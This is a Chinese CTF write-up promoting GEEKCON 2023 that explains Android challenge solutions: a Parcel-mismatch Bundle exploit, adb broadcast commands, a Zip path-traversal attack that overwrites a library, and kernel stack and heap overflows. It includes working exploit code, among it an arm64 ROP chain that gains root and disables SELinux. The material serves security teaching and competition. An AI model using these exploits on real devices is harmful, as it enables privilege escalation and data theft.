“对抗研判 AVSS 挑战赛”线上选拔赛(Android 安全赛道)已在8月底圆满结束。晋级线下决赛的 6 支队伍将在10 月 24 日举办的 GEEKCON 2023 中国站现场进行最后的角逐。
除了安卓安全赛道的比拼,“对抗研判AVSS挑战赛”还新增“汽车网络安全”赛道。新款智能网联汽车将在 GEEKCON 2023 现场接受专业汽车网络安全研究员的“碰撞测试”。
如果你想到现场见证全球首个基于真实的网络安全“碰撞测试场”的挑战结果,点击阅读原文即可购买现场门票,早鸟票限时抢购中!
以下为“对抗研判 AVSS 挑战赛”线上选拔赛(Android 安全赛道)部分赛题解析,供大家讨论、参考。
本题在 framework 中添加了⼀个名为android.os.VulnParcelable 的类,其中包含⼀个Parcel Mismatch漏洞,当 opt==1 且 o2<=0 时,将少写⼊⼀个int,导致读出与写⼊的数据不⼀致。
public void readFromParcel(@NonNull Parcel in) {Log.d("VulnParcelable", "read from parcel");opt = in.readInt();if (opt == 0) {o1 = in.readInt();Log.d("VulnParcelable", "read o1: "+o1);} else if (opt == 1) {o2 = in.readInt();Log.d("VulnParcelable", "read o2: "+o2);int size = in.readInt();Log.d("VulnParcelable", "read size: "+size);if (o2 > 0) {mPayload = new byte[size];in.readByteArray(mPayload);Log.d("VulnParcelable", "readByteArray");}}}@Overridepublic void writeToParcel(@NonNull Parcel dest, int flags) {Log.d("VulnParcelable", "writeToParcel");dest.writeInt(opt);if (opt == 0) {dest.writeInt(o1);Log.d("VulnParcelable", "write o1: "+o1);} else if (opt == 1) {dest.writeInt(o2);Log.d("VulnParcelable", "write o2: "+o2);if (o2 > 0) {dest.writeInt(mPayload.length); // mismatchdest.writeByteArray(mPayload);Log.d("VulnParcelable", "write writeByteArray: "+mPayload.length);}}}
结合patch来看,flag位于Setting APP中,⽽Setting APP中提供了⼀个root-path的FileProvider,可以通过该FileProvider读取flag。
Android 12
利用LaunchAnyWhere,启动exp APP中的另外⼀个Activity,使⽤URI读取flag即可,flag 位于
`/data/user_de/0/com.android.settings/files/flag` ,关键利⽤代码如下。
public static Bundle makeBundle(Intent intent) {Bundle bundle = new Bundle();Parcel obtain = Parcel.obtain();Parcel obtain2 = Parcel.obtain();Parcel obtain3 = Parcel.obtain();obtain2.writeInt(3); // bundle key count, map.size()obtain2.writeInt(13); // key[0] String lenobtain2.writeInt(2);obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(6);obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(4); // value[0] VAL_PARCELABLEobtain2.writeString("android.os.VulnParcelable"); // class nameobtain2.writeInt(1); // opt = in.readInt();obtain2.writeInt(0); // o2 = in.readInt();obtain2.writeInt(0); // int size = in.readInt();obtain2.writeInt(0); // key[1] String len int size = in.readInt();obtain2.writeInt(0); // String padding key[1] String lenobtain2.writeInt(13); // value[1] VAL_BYTEARRAYobtain2.writeInt(13); // len 13 value[1] VAL_BYTEARRAYobtain2.writeInt(52); // len 52obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(13); // key[2] String lenobtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(0);obtain2.writeInt(13); // value[2] VAL_BYTEARRAYobtain2.writeInt(-1); // lenint dataPosition = obtain2.dataPosition();obtain2.writeString("intent"); // key[2]obtain2.writeInt(4); // VAL_PARCELABLEobtain2.writeString("android.content.Intent"); // class nameintent.writeToParcel(obtain3, 0);obtain2.appendFrom(obtain3, 0, obtain3.dataSize());int dataPosition2 = obtain2.dataPosition();obtain2.setDataPosition(dataPosition - 4);obtain2.writeInt(dataPosition2 - dataPosition);obtain2.setDataPosition(dataPosition2);int dataSize = obtain2.dataSize();obtain.writeInt(dataSize);obtain.writeInt(0x4C444E42);obtain.appendFrom(obtain2, 0, dataSize);obtain.setDataPosition(0);bundle.readFromParcel(obtain);return bundle;}
Android 13
Android 13 中 Safer Parcel(https://i.blackhat.com/EU-22/Wednesday-Briefings/EU-22-Ke-Android-Parcels-Introducing-Android-Safer-Parcel.pdf) 的引⼊,对Parcel序列化过程及AccountManagerService均进行了加固,使得Parcel Mismatch难以利⽤。此题⽆预期解。
根据给出的源码,可以看到本题中在 AndroidManifest.xml 中声明了⼀个 BroadcastReceiver, 并在该 BroadcastReceiver 中提供了 flag 读取的⽅法。此外,本题提供了 adb shell。
<receiver android:name="com.avss.testreceiver.MyBroadcastReceiver"><intent-filter><action android:name="com.avss.testreceiver.GET_FLAG" /></intent-filter></receiver>
public class MyBroadcastReceiver extends BroadcastReceiver {private static final String TAG="MyBroadcastReceiver";public void onReceive(Context context, Intent intent) {if (intent.getAction().equals("com.avss.testreceiver.GET_FLAG")) {readflag(context);}}
Android 7
直接调⽤即可。
adb shell am broadcast -a com.avss.testreceiver.GET_FLAG com.avss.testreceiveradb logcat -d
Android 8
⽆法直接发送隐式⼴播获取flag,需要指定包名。
adb shell am broadcast -a com.avss.testreceiver.GET_FLAG -n "com.avss.testreceiver/.MyBroadcastReceiver"adb logcat -d
路径穿越在各个平台上都经常出现,在Android的历史上也出现过很多与路径穿越相关的漏洞。本题在Zip解压时存在路径穿越漏洞,于⽂件
app/src/main/java/com/darknavy/avss_zipzip/utils/ZipUtils.java
public static boolean unzipFile(final InputStream zipFileStream, final File destDir)throws IOException {ZipInputStream zipInputStream = new ZipInputStream(zipFileStream);ZipEntry zipEntry = zipInputStream.getNextEntry();List<File> files = new ArrayList<>();byte[] buffer = new byte[1024 * 1024];int count = 0;while (zipEntry != null) {if (!zipEntry.isDirectory()) {String fileName = zipEntry.getName();File file = new File(destDir, fileName);if(file.exists()){file.delete();}file.createNewFile();FileOutputStream fileOutputStream = new FileOutputStream(file);while ((count = zipInputStream.read(buffer)) > 0) {fileOutputStream.write(buffer, 0, count);}fileOutputStream.close();}zipEntry = zipInputStream.getNextEntry();}zipInputStream.close();return true;}
APP中动态加载了⼀个so⽂件,选⼿可以通过路径穿越进⾏覆盖。
Android 11 & Android 14-1
利⽤⽅式相同,需要构造⼀个存在路径穿越的Zip,使⽤路径穿越覆盖victim app中的so,并将Zip传递给victim app即可,在so中可以读出flag。
using namespace std;jint JNI_OnLoad(JavaVM* vm, void* reserved){char data[100];fstream fstream;fstream.open("/data/data/com.darknavy.avss_zipzip/files/flag");fstream >> data;syslog(LOG_INFO, "%s", data);return JNI_VERSION_1_4;}
private fun exp() {val evilPath = (classLoader as PathClassLoader).findLibrary("avss23-u3-14-1")checkNotNull(evilPath)val ff = File(filesDir, "evil.zip")if (ff.exists()) ff.delete()ff.createNewFile()ZipOutputStream(ff.outputStream().buffered()).use { zos ->zos.putNextEntry(ZipEntry("../load.so"))URL("jar:file:$evilPath").openStream().use {it.copyTo(zos)}zos.closeEntry()}val uri = FileProvider.getUriForFile(applicationContext, "com.test.chall_exploit.fp", ff)Intent(Intent.ACTION_MAIN).apply {addCategory(Intent.CATEGORY_LAUNCHER)component = ComponentName("com.darknavy.avss_zipzip","com.darknavy.avss_zipzip.activity.MainActivity",)Intent().apply {component = ComponentName("com.darknavy.avss_zipzip","com.darknavy.avss_zipzip.activity.ViewActivity",)putExtra(Intent.EXTRA_STREAM, uri)}.let { putExtra("internal_intent", it) }clipData = ClipData.newRawUri("clip", uri)addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)}.let(::startActivity)Thread.sleep(1000 * 3)runOnUiThread {Intent(Intent.ACTION_MAIN).apply {addCategory(Intent.CATEGORY_LAUNCHER)component = ComponentName("com.darknavy.avss_zipzip","com.darknavy.avss_zipzip.activity.MainActivity",)Intent().apply {component = ComponentName("com.darknavy.avss_zipzip","com.darknavy.avss_zipzip.activity.CalcActivity",)putExtra("calc", "1+1L")}.let { putExtra("internal_intent", it) }}.let(::startActivity)}}
Android 14-2
本题APK编译时设置了 targetSDKVersion 为 34,当app的target version为Android 14时,将引 ⼊了Zip路径穿越的相关检测。如果zip file entry 中包含 .. 或以 / 时,将抛出异常(https://developer.android.com/reference/java/util/zip/ZipInputStream#getNextEntry())。因此本题的路径穿越漏洞被成功缓解,此题⽆预期解。
本题的漏洞⽐较直接,在syscall中能够进⾏任意⻓度的栈溢出读写。
noinline long stackof_write(char __user * addr, unsigned long len) {char buffer[0x100];long ans;memset(buffer, 0, sizeof(buffer));ans=my_cfu(buffer,addr,len);return ans;}noinline long stackof_read(char __user * addr, unsigned long len) {char buffer[0x100];long ans;memset(buffer, 0, sizeof(buffer));ans=my_ctu(buffer,addr,len);return ans;}
本题中的关键缓解机制有:
CONFIG_RANDOMIZE_BASE (kASLR) 在 kernel 4.14(模拟器Android 10)中启用,但模拟器不⽀持。
Stack Canary 在 kernel 4.14(模拟器Android 10)启用
CONFIG_SHADOW_CALL_STACK 在kernel 5.4(模拟器Android 11)启用
Android 7 - Android 9
由于没有Stack Canary保护,且没有kASLR,直接栈溢出ROP即可。需要注意的是,由于栈溢出发⽣在syscall内,栈较浅,在利⽤完成后需要平衡栈帧,否则可能导致提权后的syscall异常。关键代码如下:
// ROPgadget --rawArch=arm64 --rawMode=64 --rawEndian=little --binary kernel-ranchu --offset 0xFFFFFFC000080000 | grep -F "blr x19 ; "//0xffffffc0000c1350 prepare_kernel_creds//0xffffffc0000c0e18 commit_creds//0xFFFFFFC00008424C ret_fast_syscall// 0xffffffc00011bc74 : blr x19 ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret// : ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret// 0xffffffc0000dc2e4 : mov x1, x19 ; mov x0, x1 ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret// 0xffffffc0000a004c : mov x0, x19 ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret// 0xffffffc00018e0bc : str w1, [x0, #0x50] ; ldp x29, x30, [sp], #0x10 ; retvoid poc(){memset(buff,0xff,sizeof(buff));int start_idx = 0x21;int idx = start_idx; // overflow positionbuff[idx++] = SETBLRX19;// requirement : x0 == 0 (copy_from_user return 0: success)// prepare_kernel_creds(0)PADDING(idx)buff[idx++] = BLRX19; // x30buff[idx++] = ADDR_prepare_kernel_creds; // x19: prepare_kernel_credsPADDING(idx)// commit_creds(x0)PADDING(idx)buff[idx++] = BLRX19; // x30buff[idx++] = ADDR_commit_creds; // x19: commit_credsPADDING(idx)// x19 = 0PADDING(idx)buff[idx++] = 0xffffffc0000dc2e4; // x30buff[idx++] = 0; // x19: 0PADDING(idx)// x19 = selinux_enforcing-0x50PADDING(idx)buff[idx++] = 0xffffffc0000a004c; // x30buff[idx++] = selinux_enforcing-0x50; // x19: selinux_enforcing-0x50PADDING(idx)// x0 = x19PADDING(idx)buff[idx++] = 0xffffffc00018e0bc;PADDING(idx)PADDING(idx)PADDING(idx)buff[idx++] = SLIDING;// stackframe size 0x830for (int i=idx-(start_idx+1); i<(0x830-0x10)/8; i+=2) {PADDING(idx)buff[idx++] = SLIDING;}PADDING(idx)buff[idx++] = ret_fast_syscall;printf("idx*8: 0x%x\n", idx*8);syscall(601, buff,(idx*8)^XORVAL,0);puts("gogogo!");}
Android 10
Android 10 中加⼊了Stack Canary,因此需要先将Canary读出,再填⼊即可。
Android 11 - Android 13
Android 11 中引⼊了
ShadowCallStack(https://source.android.com/docs/security/test/shadow-call-stack),其会为 ShadowCallStack 预留 X18 寄存器,将函数的返 回值 X30 即 LR 寄存器保存在X18指向的内存区域中,并在函数返回前取出使⽤。
// function prologueSTR X30, [X18],#8// function epilogueLDP X29, X30, [SP],#0x10LDR X30, [X18,#-8]!RET
因此直接利⽤栈溢出覆盖保存在栈上的X30并不会影响控制流。但是我们依然能够通过栈溢出覆盖栈上数据以改变程序逻辑或劫持栈上指针以实现任意地址读写的能⼒。例如,在syscall __arm64_sys_stackof 返回后,有一条STR X0, [X19]指令。我们能够劫持X19以达到向任意地址写⼊X0,⽽X0的值则是syscall的返回值(在本题中 即 copy_from_user / copy_to_user )的值。copy_from_user / copy_to_user 的返回值在正常情况下会返回0,⽽当遇到拷⻉失败时,会返回发⽣错误时剩余的字节数。因此可以让 copy_from_user 的 src ptr 跨越两个页,并unmap 掉第二个页,使copy_from_user失败,即可控制返回值。但由于usercopy中的检查,剩余⻓度不能过多,因此可以构造出单字节的任意地址写。构造出任意地址写后,利⽤思路与传统的 data only attack类似,如修改task_struct中cred指针为init_cred、修改cred中的字段、KSMA等。
本题为在syscall中向堆块进⾏ copy_to_user / copy_from_user 时,由于缺乏⻓度检查,导致的堆溢出。
攻击者能够通过该漏洞进⾏连续任意⻓度的堆溢出读写。
题⽬中提供了⼀个 onestep 函数,执⾏该函数能够获取root权限并关闭SELinux。
本题的关键缓解机制为 CONFIG_HARDENED_USERCOPY ,从Android 8(kernel 3.18)开始启⽤。
Android 7
由于kASLR没有开启,因此onestep的地址固定。因为本题允许多次进⾏分配、释放操作,并将堆块地址返回给⽤户态。所以只需要分配到两个相邻的堆块,便可以进⾏堆溢出覆盖结构体中的 funcptr 字段为 onestep 函数。
struct st1{void (* funcptr)(char*);char name[200];};noinline void show_buffer(char __user * addr, unsigned long len, unsigned int idx) {if (gst1[idx]) {my_ctu(gst1[idx]->name, addr, len);}}noinline void edit_buffer(char __user * addr, unsigned long len, unsigned int idx) {if (gst1[idx]) {my_cfu(gst1[idx]->name, addr, len);}}noinline long onestep(void) {struct cred *cred;int ret;printk(KERN_INFO "In onestep\n");cred = prepare_kernel_cred(NULL);if (!cred) {printk(KERN_INFO "Error prepare_kernel_cred\n");return -1;}ret = commit_creds(cred);if (ret) {printk(KERN_INFO "Error commit_creds\n");return -1;}// selinuxselinux_enforcing = 0;return 0;}
Android 8
CONFIG_HARDENED_USERCOPY=y 在 Android 8(kernel 3.18)开始启⽤。其在进⾏ copy_to_user 和 copy_from_user 时会对kernel ptr进⾏检查,若kernel ptr位于SLAB上,则将检查拷⻉的⼤⼩是否超出该SLAB⼤⼩。此题⽆预期解。
GEEKCON 2023 中国站将于10月24日在上海西岸艺术中心举办(点击《购票开启 | GEEKCON 2023 早鸟票限时抢购中》查看详情)。
聚焦安全对抗,提升白帽价值,推动产业进步。这场 all in 极致技术、面向未来的极客专属活动,欢迎你的加入!
早鸟票截止时间为 10 月 7 日中午 12:00 扫描下图二维码、点击购票网址(https://hdxu.cn/jxhMp)或点击阅读原文,立刻购票。



